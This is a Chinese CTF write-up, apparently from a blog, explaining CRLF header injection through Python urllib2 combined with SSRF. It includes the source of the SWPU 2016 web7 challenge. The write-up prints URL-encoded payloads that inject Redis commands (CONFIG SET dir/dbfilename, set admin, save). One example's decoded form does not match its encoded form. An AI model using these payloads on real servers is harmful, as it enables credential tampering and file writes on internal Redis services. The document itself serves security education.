urllib2 HTTP头部注入

文章目录

    • 注入原理
    • [例题 [SWPU 2016]web7](#例题 [SWPU 2016]web7)

注入原理

参考文章

应用场景是具有SSRF漏洞,结合CRLF注入

我们以redis数据库为例,当存在SSRF时我们伪造以下请求

复制代码
http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0a:6379/foo

解码一下,执行过程就是将修改Redis的工作目录为 /tmp,然后修改Redis的数据库文件名为 evil,路径为默认端口的/foo

复制代码
http://127.0.0.1
CONFIG SET dir /tmp
CONFIG SET dbfilename evil
:6379/foo

然后就可以执行相关操作,比如修改用户的密码

再次利用ssrf漏洞进行修改并保存

复制代码
http://127.0.0.1%0d%0aset%20admin%20admin%0d%0asave%0d%0a:6379/foo

解码结果如下

复制代码
http://127.0.0.1
set admin 123456
save
:6379/foo

例题 [SWPU 2016]web7

源码

复制代码
#!/usr/bin/python 
# coding:utf8

__author__ = 'niexinming'

import cherrypy
import urllib2
import redis

class web7:
    @cherrypy.expose
    def index(self):
        return "<script> window.location.href='/input';</script>"
    @cherrypy.expose
    def input(self,url="",submit=""):
        file=open("index.html","r").read()
        reheaders=""
        if cherrypy.request.method=="GET":
            reheaders=""
        else:
            url=cherrypy.request.params["url"]
            submit=cherrypy.request.params["submit"]
            try:
                for x in urllib2.urlopen(url).info().headers:
                    reheaders=reheaders+x+"<br>"
            except Exception,e:
                reheaders="错误"+str(e)
            for x in urllib2.urlopen(url).info().headers:
                reheaders=reheaders+x+"<br>"
        file=file.replace("<?response?>",reheaders)
        return file
    @cherrypy.expose
    def login(self,password="",submit=""):
        pool = redis.ConnectionPool(host='127.0.0.1', port=6379)
        r = redis.Redis(connection_pool=pool)
        re=""
        file=open("login.html","r").read()
        if cherrypy.request.method=="GET":
            re=""
        else:
            password=cherrypy.request.params["password"]
            submit=cherrypy.request.params["submit"]
            if r.get("admin")==password:
                re=open("flag",'r').readline()
            else:
                re="Can't find admin:"+password+",fast fast fast....."
        file=file.replace("<?response?>",re)
        return file
cherrypy.config.update({'server.socket_host': '0.0.0.0',
                        'server.socket_port': 8080,
                       })
cherrypy.quickstart(web7(),'/')

可以看到引入urllib2模块,题目逻辑比较清晰,就是要登录admin才能获取flag,admin的密码就在redis数据库中,然后input中使用了urllib2.open().info().headers应该是可以利用SSRF来注入redis修改admin的密码的。

我们直接修改密码(redis默认端口为6379)

复制代码
http://127.0.0.1%0d%0aset%20admin%20123456%0d%0a:6379

//解码如下
http://127.0.0.1
set admin 123456
:6379
相关推荐
Java后端的Ai之路11 小时前
【Python 教程15】-Python和Web
python
冬奇Lab12 小时前
一天一个开源项目(第15篇):MapToPoster - 用代码将城市地图转换为精美的海报设计
python·开源
阿蒙Amon14 小时前
TypeScript学习-第10章:模块与命名空间
学习·ubuntu·typescript
AI绘画哇哒哒14 小时前
【干货收藏】深度解析AI Agent框架:设计原理+主流选型+项目实操,一站式学习指南
人工智能·学习·ai·程序员·大模型·产品经理·转行
二十雨辰14 小时前
[python]-AI大模型
开发语言·人工智能·python
Yvonne爱编码14 小时前
JAVA数据结构 DAY6-栈和队列
java·开发语言·数据结构·python
liulovesong14 小时前
2024/06/21/第三天
http·echarts
chian-ocean14 小时前
深入 CANN:使用 `tbe-op` 构建自定义高性能算子
网络
中议视控15 小时前
可编程网络中央控制系统主机通过红外发射棒控制空调电视等红外设备
网络·物联网·5g
戌中横15 小时前
JavaScript——预解析
前端·javascript·学习